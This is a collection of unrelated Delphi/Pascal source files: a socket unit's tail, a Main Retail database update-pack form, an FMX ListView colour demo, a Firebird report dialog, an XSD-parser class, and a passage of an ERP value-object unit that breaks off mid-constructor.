SetLength(Result, ReceiveBuffer(Pointer(nil)^, -1));
SetLength(Result, ReceiveBuffer(Pointer(Result)^, Length(Result)));
end;
function TClientSocket.SendBuffer(var Buffer; BufferSize: Integer): Integer;
var
ErrorCode: Integer;
begin
Result := send(FSocket, Buffer, BufferSize, 0);
if Result = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if (ErrorCode = WSAEWOULDBLOCK) then
begin
Result := -1;
end
else
begin
Disconnect;
end;
end;
end;
function TClientSocket.SendString(const Buffer: String): Integer;
begin
Result := SendBuffer(Pointer(Buffer)^, Length(Buffer));
end;
destructor TClientSocket.Destroy;
begin
inherited Destroy;
Disconnect;
end;
initialization
WSAStartUp(257, WSAData);
finalization
WSACleanup;
end.
|
unit uMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, IniFiles, Registry, ComCtrls, Buttons, Email,
uDataBaseOperation, uSQLFileReader, Grids, uOperationSystem;
type
TFrmMain = class(TForm)
pnlTop: TPanel;
Label1: TLabel;
Label2: TLabel;
Bevel1: TBevel;
btnClose: TButton;
Label3: TLabel;
GroupBox1: TGroupBox;
gridRestore: TStringGrid;
PBar: TProgressBar;
History: TMemo;
lbDetail: TLabel;
lbTotalFiles: TLabel;
lbBuildVerCount: TLabel;
sbSendErr: TSpeedButton;
Email1: TEmail;
Image1: TImage;
btnStart: TButton;
pbScript: TProgressBar;
chkBackup: TCheckBox;
lblVersion: TLabel;
procedure btnCloseClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnStartClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure sbSendErrClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
VERSION_NO, BUILD_NO, MRBUILD : Integer;
VER_BUILD : String;
IniFile : TIniFile;
fReadSQLScript: TReadSQLScript;
DBOperation : TDataBaseOperation;
sLocalPath : String;
procedure SetError(sText:String; sSolution:String);
procedure SetDetail(sText:String);
procedure SetWarning(sText:String);
procedure Start;
function HasMainRetail:Boolean;
function ExecUpdate:Boolean;
function ValidateVerBuild:Boolean;
function IsOldVersion:Boolean;
function ComperVersion:Boolean;
function BackUpDB:Boolean;
function IsServer:Boolean;
function ExecVersion:Boolean;
function ExecBackup: Boolean;
function UpdateVersion:Boolean;
function RestoreDB:Boolean;
function CopyFiles:Boolean;
procedure Finalize;
function RunSQLFile(sFile:String):Boolean;
function ReadIniInt(Section, Ident : String; Default : Integer) : Integer;
function ReadIniStr(Section, Ident, Default : String) : String;
function ComperMRVersion:Boolean;
public
{ Public declarations }
end;
var
FrmMain: TFrmMain;
implementation
uses uDM, uMsgBox, uParamFunctions, uCopyFiles, uStringFunctions,
uSystemConst;
{$R *.DFM}
function TFrmMain.HasMainRetail:Boolean;
var
buildInfo: String;
begin
with TRegistry.Create do
Try
if ( getOS(buildInfo) = osW7 ) then begin
RootKey:= HKEY_CURRENT_USER;
end
else
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Applenet\MainRetail', True);
// Result := ValueExists('DefaultCashRegID');
result := true;
finally
CloseKey;
Free;
end;
if not Result then
SetError('Error: This computer does not have Main Retail installed.','');
end;
procedure TFrmMain.Finalize;
begin
btnClose.Enabled := True;
sbSendErr.Visible := False;
btnStart.Visible := False;
lbDetail.Caption := 'Main Retail update completed.';
lbDetail.Font.Color := clBlue;
MsgBox('Main Retail update completed.', vbInformation + vbOKOnly);
end;
procedure TFrmMain.SetError(sText:String; sSolution:String);
begin
lbDetail.Caption := sText;
lbDetail.Font.Color := clRed;
PBar.Visible := False;
btnClose.Enabled := True;
sbSendErr.Visible := True;
History.Lines.Add(sText);
History.Lines.Add(sSolution);
Application.ProcessMessages;
end;
procedure TFrmMain.SetWarning(sText:String);
begin
lbDetail.Caption := sText;
lbDetail.Font.Color := clRed;
sbSendErr.Visible := False;
btnClose.Enabled := True;
History.Lines.Add(sText);
Application.ProcessMessages;
end;
procedure TFrmMain.SetDetail(sText:String);
begin
lbDetail.Caption := sText;
History.Lines.Add(sText);
Application.ProcessMessages;
end;
function TFrmMain.ReadIniStr(Section, Ident, Default : String) : String;
begin
Result := IniFile.ReadString(Section, Ident, Default);
end;
function TFrmMain.ReadIniInt(Section, Ident : String; Default : Integer) : Integer;
begin
Result := IniFile.ReadInteger(Section, Ident, Default);
end;
function TFrmMain.RestoreDB:Boolean;
procedure GetRestoreFileInfo;
var
i : integer;
begin
with DM.quFreeSQL do
begin
if Active then
Close;
CommandText := ' RESTORE FILELISTONLY ' +
' FROM DISK = ' + QuotedStr('C:\BackupDB.BAK');
try
Open;
Except
raise;
Close;
Exit;
end;
First;
for i := 0 to RecordCount-1 do
begin
gridRestore.Cells[0, i+1] := FieldByName('LogicalName').AsString;
gridRestore.Cells[1, i+1] := FieldByName('PhysicalName').AsString;
Next;
end;
Close;
end;
end;
begin
Screen.Cursor := crHourGlass;
Application.ProcessMessages;
SetDetail('Restoring database... ');
Try
GetRestoreFileInfo;
if DM.ADOConnection.Connected then
DM.ADOConnection.Close;
DM.ADORestore.Open;
DBOperation := TRestoreDataBase.Create;
DBOperation.Connection := DM.ADORestore;
DBOperation.DataBaseName := DM.fSQLConnection.DBAlias;
DBOperation.Device := DEVICE_DISK + QuotedStr('C:\BackupDB.BAK');
TRestoreDataBase(DBOperation).ForceRestore := RST_REPLACE_DB;
TRestoreDataBase(DBOperation).LogicalDataName := QuotedStr(Trim(gridRestore.Cells[0, 1]));
TRestoreDataBase(DBOperation).NewDataPath := QuotedStr(Trim(gridRestore.Cells[1, 1]));
TRestoreDataBase(DBOperation).LogicalLogName := QuotedStr(Trim(gridRestore.Cells[0, 2]));
TRestoreDataBase(DBOperation).NewLogPath := QuotedStr(Trim(gridRestore.Cells[1, 2]));
Try
Result := (DBOperation.SetSQLExecute = -1);
except
on E: Exception do
begin
Result := False;
SetError('Error: ' + E.Message,
'Solution: Close all Main Retail and restore backup (C:\BackupDB.BAK) manually using the MRBackup.');
end;
end;
finally
FreeAndNil(DBOperation);
Screen.Cursor:= crDefault;
end;
end;
function TFrmMain.BackUpDB:Boolean;
begin
Result := True;
Screen.Cursor := crHourGlass;
Application.ProcessMessages;
SetDetail('Backup database... ');
Try
DBOperation := TBackUpDataBase.Create;
DBOperation.Connection := DM.ADOConnection;
DBOperation.DataBaseName := DM.fSQLConnection.DBAlias;
TBackUpDataBase(DBOperation).AppendDB := BKP_APPEND_INIT;
TBackUpDataBase(DBOperation).FilePath := 'C:\BackupDB.BAK';
DBOperation.Device := DEVICE_DISK + QuotedStr('C:\BackupDB.BAK');
Try
Result := (DBOperation.SetSQLExecute = -1);
except
raise;
Result := False;
Application.ProcessMessages;
end;
finally
FreeAndNil(DBOperation);
Screen.Cursor:= crDefault;
end;
end;
function TFrmMain.RunSQLFile(sFile:String):Boolean;
var
Error : String;
iSQL : Integer;
str : String;
begin
Result := False;
// Antonio 05/05/2016 - original FileExists method seems failed under x64 bits.
if ( not FileExistsNoMatterXbits(sFile) ) then begin
exit;
end;
fReadSQLScript.LoadFromFile(sFile);
pbScript.Position := 1;
pbScript.Max := fReadSQLScript.ScriptCount;
str := fReadSQLScript.GetSQLScript;
while str <> '' do
begin
if not DM.RunSQL(str, Error) then
begin
SetError(Error, '');
Exit;
end;
fReadSQLScript.Next;
str := fReadSQLScript.GetSQLScript;
pbScript.Position := pbScript.Position+1;
end;
Result := True;
end;
function TFrmMain.ExecBackup: Boolean;
begin
Result := False;
SetMsgBoxLand(1);
if MsgBox('Did you create a back-up?', vbSuperCritical + vbYesNo) = vbYes then
Result := True;
end;
function TFrmMain.ExecVersion:Boolean;
begin
Result := True;
SetDetail('Getting update pack version ... ');
try
IniFile := TIniFile.Create(sLocalPath + 'Info.ini');
VERSION_NO := ReadIniInt('VersionSettings', 'Version', 2);
BUILD_NO := ReadIniInt('VersionSettings', 'Build', 0);
MRBUILD := ReadIniInt('VersionSettings', 'MRBuild', 0);
except
Result := False;
end;
end;
function TFrmMain.ValidateVerBuild:Boolean;
begin
Result := False;
//Error Build and Version Cannot be Zero
if ((DM.ClientVersion = 0) and (DM.ClientBuild = 0)) then
begin
SetError('Error: Invalid Version or Build.',
'Contact (www.mainretail.com).');
Exit;
end;
Result := True;
end;
function TFrmMain.IsOldVersion:Boolean;
begin
Result := ((DM.ClientVersion = 2) and (DM.ClientBuild < 9));
if Result then
SetError('Error: The Update Pack is for Main Retail version 3 only.',
'Solution: Download the correct Update Pack.');
end;
function TFrmMain.ComperVersion:Boolean;
begin
SetDetail('Comparing versions DB...');
if ((DM.ClientVersion = 2) and (DM.ClientBuild = 9)) then
begin
DM.ClientVersion := 3;
DM.ClientBuild := 0;
end;
Result := ((DM.ClientVersion <= VERSION_NO) and (DM.ClientBuild < BUILD_NO));
end;
function TFrmMain.IsServer:Boolean;
var
Reg : TRegistry;
buildInfo: String;
begin
SetDetail('Checking SQL installation...');
Reg := nil;
Try
Reg := TRegistry.Create;
// acessa a chave CURRENT_USER se Windows 7
if ( getOS(buildInfo) = osW7 ) then
reg.RootKey := HKEY_CURRENT_USER
else
Reg.RootKey := HKEY_LOCAL_MACHINE;
Result := Reg.KeyExists(SQL_REG_PATH);
Finally
Reg.CloseKey;
Reg.Free;
end;
{
if not Result then
begin
MsgBox('This is not a Main Retail database server installation._'+
'First, run the update pack on the "Server Computer".' , vbInformation + vbOKOnly);
SetError('Error: This is not a Main Retail database server installation.',
'Solution: Run the update pack on the "Server Computer" first.');
end;
}
end;
function TFrmMain.CopyFiles:Boolean;
var
iCount, i : Integer;
begin
Result := False;
SetDetail('Updating files...');
iCount := ReadIniInt('CopyFiles', 'DirTotal', 0);
if iCount = 0 then
Exit;
For i := 0 to iCount-1 do
with TfrmCopyFiles.Create(Self) do
if not Start(ReadIniStr('CopyFiles', 'Des'+IntToStr(i+1), ''),
sLocalPath + ReadIniStr('CopyFiles', 'Dir'+IntToStr(i+1), '')) then
begin
SetWarning('Warning: Main Retail files not updated.');
Exit;
break;
end;
Result := True;
end;
function TFrmMain.UpdateVersion:Boolean;
begin
Result := True;
SetDetail('Updating local version...');
with DM.cmdUpdateVersion do
begin
Parameters.ParamByName('Version').Value := VERSION_NO;
Parameters.ParamByName('Build').Value := BUILD_NO;
Parameters.ParamByName('MRBuild').Value := MRBUILD;
Try
Execute;
Except
raise;
Result := False;
end;
end;
end;
procedure TFrmMain.btnCloseClick(Sender: TObject);
begin
Close;
end;
procedure TFrmMain.Start;
var
bError, updateBDVersion, updateMRVersion : Boolean;
procedure SetStep(i:Integer);
begin
PBar.Position := i;
Application.ProcessMessages;
end;
begin
//0-Has Main Retail
//1-Execute version
//2-Server Connection
//3-Compar version (Different version)
// 3.1 - Is Server (If NO then Error)
// 3.1.1 - Begin Trans
// 3.1.2 - Execute update
// 3.1.3 - Update Version
// 3.1.4 - If error (Roll Back) then Exit.
//4-Copy EXE
//5-Finalize
bError := False;
btnClose.Enabled := False;
btnStart.Enabled := False;
PBar.Max := 8;
SetStep(0);
if not HasMainRetail then
Exit;
if not ExecVersion then
Exit;
SetStep(1);
if not DM.ServerConnection then
Exit;
SetStep(2);
if not ValidateVerBuild then
Exit;
if IsOldVersion then
Exit;
//Verifica se as versões de BD e de executável são diferentes
updateBDVersion := ComperVersion;
updateMRVersion := ComperMRVersion;
if updateBDVersion or updateMRVersion then
begin
SetStep(3);
if IsServer then
begin
SetStep(4);
if chkBackup.Checked then
if not BackUpDB then
Exit;
end;
SetStep(5);
try
DM.ADOConnection.BeginTrans;
if updateBDVersion then
begin
if not ExecUpdate then
begin
bError := True;
btnClose.Enabled := True;
Exit;
end;
end;
SetStep(6);
if not UpdateVersion then
begin
bError := True;
btnClose.Enabled := True;
Exit;
end;
SetStep(7);
finally
if chkBackup.Checked then
if bError then
RestoreDB
else
DeleteFile('C:\BackupDB.BAK');
if bError then
DM.ADOConnection.RollbackTrans
else
DM.ADOConnection.CommitTrans;
end;
end;
if not CopyFiles then
Exit;
SetStep(8);
Finalize;
end;
procedure TFrmMain.FormCreate(Sender: TObject);
begin
sLocalPath := ExtractFilePath(Application.ExeName);
fReadSQLScript := TReadSQLScript.Create;
fReadSQLScript.Flag := SQL_GO;
chkBackup.Enabled := IsServer;
end;
function TFrmMain.ExecUpdate:Boolean;
var
iCount, i, x: Integer;
sAllVer1 : String;
sAllVer2 : String;
sConst : String;
iStratPoint : Integer;
AllVersions : array of String;
iTotFiles,
iFileCounter: Integer;
sSQLFileName: String;
begin
Result := False;
Screen.Cursor := crHourglass;
SetDetail('Executing update... ');
//Get Versions from INI file
sAllVer1 := ReadIniStr('VersionUpdates', 'VersionArray1', '');
sAllVer2 := ReadIniStr('VersionUpdates', 'VersionArray2', '');
sConst := ReadIniStr('VersionUpdates', 'VersionConst', '');
iCount := ReadIniInt('VersionUpdates', 'VersionTotal', 0);
iStratPoint := -1;
if (iCount = 0) or (sAllVer1+sAllVer2 = '') then
Exit;
//Fill out version total for array
SetLength(AllVersions, iCount);
//Fill out array with the versions from INI file
For i := 0 to iCount-1 do
AllVersions[i] := ParseParam(sAllVer1+sAllVer2, sConst + IntToStr(i));
//Combine Cliente(Version + Build) and search for start point in the array
VER_BUILD := IntToStr(DM.ClientVersion) + IntToStr(DM.ClientBuild);
//Get start point for next update
For i := Low(AllVersions) to High(AllVersions) do begin
(*
ShowMessage('AllVersion[i] = ' + AllVersions[i] + ' VER_BUILD = ' + VER_BUILD);
ShowMessage('i = ' + intTostr(i) + ' High(AllVersion) = ' + intToStr(High(AllVersions)));
showMessage('startPoint = ' + intToStr(iStratPoint) );
*)
if (AllVersions[i] = VER_BUILD) and (i <> High(AllVersions)) then
begin
iStratPoint := i+1;
Break;
end;
end;
//No Update
if iStratPoint = -1 then
exit;
pbScript.Visible := True;
Application.ProcessMessages;
//Loop for execute the SQL files
//Actual update to the last one!
iFileCounter := 0;
For i := iStratPoint to High(AllVersions) do
begin
iTotFiles:=ReadIniInt('Version'+AllVersions[i], 'FileTotal', 1);
For x := 1 to iTotFiles do
begin
sSQLFileName := ReadIniStr('Version'+AllVersions[i], 'File'+IntToStr(x), '');
if ( ssQLFileName = '' ) then begin
continue;
end;
lbBuildVerCount.Caption := 'File ('+IntToStr(x)+') of '+IntToStr(iTotFiles)+'.';
SetDetail('File name: ' + sSQLFileName);
if not RunSQLFile(sLocalPath + sSQLFileName) then
begin
Screen.Cursor := crDefault;
Exit;
Break;
end
else
inc(iFileCounter);
end;
end;
lbBuildVerCount.Caption := '';
lbTotalFiles.Caption := 'Total files executed('+IntToStr(iFileCounter)+')';
Result := True;
pbScript.Visible := False;
Screen.Cursor := crDefault;
Application.ProcessMessages;
end;
procedure TFrmMain.btnStartClick(Sender: TObject);
begin
if ExecBackup then
Start;
end;
procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FreeAndNil(IniFile);
end;
procedure TFrmMain.sbSendErrClick(Sender: TObject);
begin
with Email1 do
begin
Subject := 'Main Retail update pack error.';
Body := History.Text;
CopyTo.Add('asouza@pinogy.com');
CopyTo.Add('antoniom_desenv@yahoo.com.br');
Sendmail;
end;
end;
procedure TFrmMain.FormDestroy(Sender: TObject);
begin
fReadSQLScript.Free;
end;
function TFrmMain.ComperMRVersion: Boolean;
begin
SetDetail('Comparing versions EXE...');
Result := DM.ClientMRBuild <= MRBUILD;
end;
end.
|
unit uForm1;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.ListView.Types,
FMX.ListView.Appearances,
FMX.ListView.Adapters.Base, FMX.Edit, FMX.EditBox, FMX.SpinBox, FMX.Controls.Presentation,
FMX.StdCtrls, FMX.Layouts,
FMX.ListView, FMX.Objects;
type
TForm1 = class(TForm)
ListView1: TListView;
Layout1: TLayout;
Label1: TLabel;
Image1: TImage;
Button1: TButton;
Layout2: TLayout;
Label2: TLabel;
Switch1: TSwitch;
cbTransSepar: TCheckBox;
cbTransItems: TCheckBox;
cbTransBackg: TCheckBox;
procedure ListView1ButtonClick(const Sender: TObject; const AItem: TListItem;
const AObject: TListItemSimpleControl);
procedure Button1Click(Sender: TObject);
procedure Switch1Switch(Sender: TObject);
procedure ListView1UpdatingObjects(const Sender: TObject; const AItem: TListViewItem; var AHandled: Boolean);
procedure FormShow(Sender: TObject);
procedure ListView1ApplyStyleLookup(Sender: TObject);
procedure cbTransBackgChange(Sender: TObject);
procedure cbTransItemsChange(Sender: TObject);
procedure cbTransSeparChange(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.fmx}
uses FMX.ListView.TextButtonFix;
procedure TForm1.Button1Click(Sender: TObject);
begin
ListView1.SetColorItemSelected(TAlphaColorRec.Orangered);
ListView1.SetColorItemFill(TAlphaColorRec.Whitesmoke);
ListView1.SetColorItemFillAlt(TAlphaColorRec.Lightgrey);
ListView1.SetColorBackground(TAlphaColorRec.Whitesmoke);
ListView1.SetColorItemSeparator(TAlphaColorRec.Red);
ListView1.SetColorText(TAlphaColorRec.Darkmagenta);
ListView1.SetColorTextSelected(TAlphaColorRec.Blueviolet);
ListView1.SetColorTextDetail(TAlphaColorRec.Darksalmon);
ListView1.SetColorHeader(TAlphaColorRec.Crimson);
ListView1.SetColorTextHeader(TAlphaColorRec.Whitesmoke);
ListView1.SetColorTextHeaderShadow(TAlphaColorRec.grey);
end;
procedure TForm1.cbTransBackgChange(Sender: TObject);
begin
ListView1.Transparent := cbTransBackg.IsChecked;
end;
procedure TForm1.cbTransItemsChange(Sender: TObject);
begin
ListView1.TransparentItems := cbTransItems.IsChecked;
end;
procedure TForm1.cbTransSeparChange(Sender: TObject);
begin
ListView1.TransparentSeparators := cbTransSepar.IsChecked;
end;
procedure TForm1.FormShow(Sender: TObject);
var
I: Integer;
AItem: TListViewItem;
begin
ListView1.ItemsClearTrue;
for I := 0 to 20 do
begin
AItem := ListView1.Items.Add;
with AItem do
begin
if I mod 11 = 0 then
begin
Text := 'Header';
Purpose := TListItemPurpose.Header;
end
else
begin
Text := 'Item Random ' + I.ToString;
Detail := 'Detail for ' + Text;
ButtonText := 'Custom Color';
Bitmap := Image1.Bitmap;
end;
end;
ListView1.Adapter.ResetView(AItem); // fix TextButton ( TListViewTextButtonFix )
end;
end;
procedure TForm1.ListView1ApplyStyleLookup(Sender: TObject);
begin
ListView1.SetColorPullRefresh(TAlphaColorRec.Lime);
ListView1.SetColorPullRefreshIndicator(TAlphaColorRec.Limegreen);
ListView1.SetColorStretchGlow(TAlphaColorRec.Limegreen);
end;
procedure TForm1.ListView1ButtonClick(const Sender: TObject; const AItem: TListItem;
const AObject: TListItemSimpleControl);
begin
if ListView1.IsCustomColorUsed(AItem.Index) then
ListView1.SetDefaultColorForItem(AItem.Index)
else
ListView1.SetCustomColorForItem(AItem.Index, TAlphaColorF.Create(random(255) / 255, random(255) / 255,
random(255) / 255, random(255) / 255).ToAlphaColor);
end;
procedure TForm1.ListView1UpdatingObjects(const Sender: TObject; const AItem: TListViewItem; var AHandled: Boolean);
begin
// TListViewTextButtonFix.Rendering(Sender, AItem, AHandled);
end;
procedure TForm1.Switch1Switch(Sender: TObject);
begin
ListView1.AlternatingColors := Switch1.IsChecked;
end;
end.
|
unit f1df_AddReport;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, StdCtrls, cxButtons, ExtCtrls, cxLabel,
cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxSpinEdit,
FIBQuery, pFIBQuery, pFIBStoredProc, FIBDatabase, pFIBDatabase, ActnList,
cxCheckBox, IBase,
Unit_ZGlobal_Consts, zMessages, ZProc, DB, FIBDataSet, pFIBDataSet,
cxDropDownEdit, cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox;
type
TFAddReport = class(TForm)
SpinEditKvartal: TcxSpinEdit;
SpinEditYear: TcxSpinEdit;
LabelYear: TcxLabel;
LabelKvartal: TcxLabel;
Bevel1: TBevel;
YesBtn: TcxButton;
CancelBtn: TcxButton;
DB: TpFIBDatabase;
StProcTransaction: TpFIBTransaction;
StProc: TpFIBStoredProc;
ActionList: TActionList;
ActionYes: TAction;
ActionCancel: TAction;
CheckBoxPTin: TcxCheckBox;
LookupComboBoxTypes: TcxLookupComboBox;
LabelType: TcxLabel;
DSetTypes: TpFIBDataSet;
ReadTransaction: TpFIBTransaction;
DSourceTypes: TDataSource;
procedure ActionYesExecute(Sender: TObject);
procedure ActionCancelExecute(Sender: TObject);
private
PId_1Df:Integer;
PLanguageIndex:Byte;
PDb_Handle:TISC_DB_HANDLE;
public
constructor Create(AOwner:TComponent;ADB_handle:TISC_DB_HANDLE);reintroduce;
property Id_1Df:Integer read PId_1Df;
end;
function ShowFormAddReport(AOwner:TComponent;ADB_handle:TISC_DB_HANDLE):integer;
implementation
{$R *.dfm}
function ShowFormAddReport(AOwner:TComponent;ADB_handle:TISC_DB_HANDLE):integer;
var Form:TFAddReport;
begin
Result:=0;
Form := TFAddReport.Create(AOwner,ADB_handle);
if Form.ShowModal=mrYes then Result:=Form.Id_1Df;
Form.Destroy;
end;
constructor TFAddReport.Create(AOwner:TComponent;ADB_handle:TISC_DB_HANDLE);
begin
inherited Create(AOwner);
PDb_Handle := ADB_handle;
PLanguageIndex := LanguageIndex;
Caption := Caption_Form[PLanguageIndex];
LabelYear.Caption := LabelYear_Caption[PLanguageIndex];
LabelKvartal.Caption := LabelKvartal_Caption[PLanguageIndex];
LabelType.Caption := LabelType_Caption[PLanguageIndex];
YesBtn.Caption := YesBtn_Caption[PLanguageIndex];
CancelBtn.Caption := CancelBtn_Caption[PLanguageIndex];
CheckBoxPTin.Properties.Caption := LabelNotTinPeople_Caption[PLanguageIndex];
DB.Handle := PDb_Handle;
DSetTypes.SQLs.SelectSQL.Text := 'SELECT * FROM Z_1DF_INI_TYPE_REPORT';
DSetTypes.Open;
LookupComboBoxTypes.EditValue := 1;
end;
procedure TFAddReport.ActionYesExecute(Sender: TObject);
begin
try
self.Enabled := False;
PId_1Df := 0;
with StProc do
try
Transaction.StartTransaction;
StoredProcName := 'Z_1DF_DNDZ';
Prepare;
ParamByName('YEAR_NUM').AsInteger := SpinEditYear.EditValue;
ParamByName('KVARTAL_NUM').AsInteger := SpinEditKvartal.EditValue;
ParamByName('P_TIN').AsString := CheckBoxPTin.EditValue;
ParamByName('ID_TYPE').AsInteger := LookupComboBoxTypes.EditValue;
ExecProc;
PId_1Df := ParamByName('ID_1DF').AsInteger;
Transaction.Commit;
if ReadTransaction.InTransaction then ReadTransaction.Commit;
ModalResult := mrYes;
except
on E:Exception do
begin
zShowMessage(Error_Caption[PLanguageIndex],e.Message,mtInformation,[mbOK]);
Transaction.Rollback;
end;
end;
finally
self.Enabled := True;
end;
end;
procedure TFAddReport.ActionCancelExecute(Sender: TObject);
begin
if ReadTransaction.InTransaction then ReadTransaction.Commit;
ModalResult:=mrCancel;
end;
end.
|
namespace proholz.xsdparser;
interface
type
UnsolvedReference = public class(ReferenceBase)
private
var ref: String;
var isTypeRef: Boolean;
assembly
constructor(element: XsdNamedElements);
public
constructor(refType: String; element: XsdNamedElements);
method getRef: String; virtual;
method isTypeRef: Boolean; virtual;
method getParent: XsdAbstractElement; virtual;
end;
implementation
constructor UnsolvedReference(element: XsdNamedElements);
begin
inherited constructor(element);
self.ref := getRef(element);
self.isTypeRef := false;
end;
constructor UnsolvedReference(refType: String; element: XsdNamedElements);
begin
inherited constructor(element);
self.ref := refType;
self.isTypeRef := true;
end;
method UnsolvedReference.getRef: String;
begin
exit ref;
end;
method UnsolvedReference.isTypeRef: Boolean;
begin
exit isTypeRef;
end;
method UnsolvedReference.getParent: XsdAbstractElement;
begin
exit element.getParent();
end;
end. |
{*******************************************************************************
Title: T2Ti ERP
Description: VO relacionado à tabela [NFCE_MOVIMENTO]
The MIT License
Copyright: Copyright (C) 2014 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com
@author Albert Eije (t2ti.com@gmail.com)
@version 2.0
*******************************************************************************}
unit NfceMovimentoVO;
{$mode objfpc}{$H+}
interface
uses
VO, Classes, SysUtils, FGL,
NfceCaixaVO, EmpresaVO, NfceTurnoVO, NfceOperadorVO,
NfceFechamentoVO, NfceSuprimentoVO, NfceSangriaVO;
type
TNfceMovimentoVO = class(TVO)
private
FID: Integer;
FID_NFCE_CAIXA: Integer;
FID_NFCE_OPERADOR: Integer;
FID_NFCE_TURNO: Integer;
FID_EMPRESA: Integer;
FID_GERENTE_SUPERVISOR: Integer;
FDATA_ABERTURA: TDateTime;
FHORA_ABERTURA: String;
FDATA_FECHAMENTO: TDateTime;
FHORA_FECHAMENTO: String;
FTOTAL_SUPRIMENTO: Extended;
FTOTAL_SANGRIA: Extended;
FTOTAL_NAO_FISCAL: Extended;
FTOTAL_VENDA: Extended;
FTOTAL_DESCONTO: Extended;
FTOTAL_ACRESCIMO: Extended;
FTOTAL_FINAL: Extended;
FTOTAL_RECEBIDO: Extended;
FTOTAL_TROCO: Extended;
FTOTAL_CANCELADO: Extended;
FSTATUS_MOVIMENTO: String;
FNfceCaixaVO: TNfceCaixaVO;
FEmpresaVO: TEmpresaVO;
FNfceTurnoVO: TNfceTurnoVO;
FNfceOperadorVO: TNfceOperadorVO;
FNfceGerenteVO: TNfceOperadorVO;
FListaNfceFechamentoVO: TListaNfceFechamentoVO;
FListaNfceSuprimentoVO: TListaNfceSuprimentoVO;
FListaNfceSangriaVO: TListaNfceSangriaVO;
published
constructor Create; override;
destructor Destroy; override;
property Id: Integer read FID write FID;
property IdNfceCaixa: Integer read FID_NFCE_CAIXA write FID_NFCE_CAIXA;
property IdNfceOperador: Integer read FID_NFCE_OPERADOR write FID_NFCE_OPERADOR;
property IdNfceTurno: Integer read FID_NFCE_TURNO write FID_NFCE_TURNO;
property IdEmpresa: Integer read FID_EMPRESA write FID_EMPRESA;
property IdGerenteSupervisor: Integer read FID_GERENTE_SUPERVISOR write FID_GERENTE_SUPERVISOR;
property DataAbertura: TDateTime read FDATA_ABERTURA write FDATA_ABERTURA;
property HoraAbertura: String read FHORA_ABERTURA write FHORA_ABERTURA;
property DataFechamento: TDateTime read FDATA_FECHAMENTO write FDATA_FECHAMENTO;
property HoraFechamento: String read FHORA_FECHAMENTO write FHORA_FECHAMENTO;
property TotalSuprimento: Extended read FTOTAL_SUPRIMENTO write FTOTAL_SUPRIMENTO;
property TotalSangria: Extended read FTOTAL_SANGRIA write FTOTAL_SANGRIA;
property TotalNaoFiscal: Extended read FTOTAL_NAO_FISCAL write FTOTAL_NAO_FISCAL;
property TotalVenda: Extended read FTOTAL_VENDA write FTOTAL_VENDA;
property TotalDesconto: Extended read FTOTAL_DESCONTO write FTOTAL_DESCONTO;
property TotalAcrescimo: Extended read FTOTAL_ACRESCIMO write FTOTAL_ACRESCIMO;
property TotalFinal: Extended read FTOTAL_FINAL write FTOTAL_FINAL;
property TotalRecebido: Extended read FTOTAL_RECEBIDO write FTOTAL_RECEBIDO;
property TotalTroco: Extended read FTOTAL_TROCO write FTOTAL_TROCO;
property TotalCancelado: Extended read FTOTAL_CANCELADO write FTOTAL_CANCELADO;
property StatusMovimento: String read FSTATUS_MOVIMENTO write FSTATUS_MOVIMENTO;
property NfceCaixaVO: TNfceCaixaVO read FNfceCaixaVO write FNfceCaixaVO;
property EmpresaVO: TEmpresaVO read FEmpresaVO write FEmpresaVO;
property NfceTurnoVO: TNfceTurnoVO read FNfceTurnoVO write FNfceTurnoVO;
property NfceOperadorVO: TNfceOperadorVO read FNfceOperadorVO write FNfceOperadorVO;
property NfceGerenteVO: TNfceOperadorVO read FNfceGerenteVO write FNfceGerenteVO;
property ListaNfceFechamentoVO: TListaNfceFechamentoVO read FListaNfceFechamentoVO write FListaNfceFechamentoVO;
property ListaNfceSuprimentoVO: TListaNfceSuprimentoVO read FListaNfceSuprimentoVO write FListaNfceSuprimentoVO;
property ListaNfceSangriaVO: TListaNfceSangriaVO read FListaNfceSangriaVO write FListaNfceSangriaVO;
end;
TListaNfceMovimentoVO = specialize TFPGObjectList<TNfceMovimentoVO>;
implementation
constructor TNfceMovimentoVO.Create;
begin
inherited;
FNfceCaixaVO := TNfceCaixaVO.Create;
FEmpresaVO := TEmpresaVO.Create;
FNfceTurnoVO := TNfceTurnoVO.Create;
FNfceOperadorVO := TNfceOperadorVO.Create;
FNfceGerenteVO := TNfceOperadorVO.Create;
FListaNfceFechamentoVO := TListaNfceFechamentoVO.Create;
FListaNfceSuprimentoVO := TListaNfceSuprimentoVO.Create;
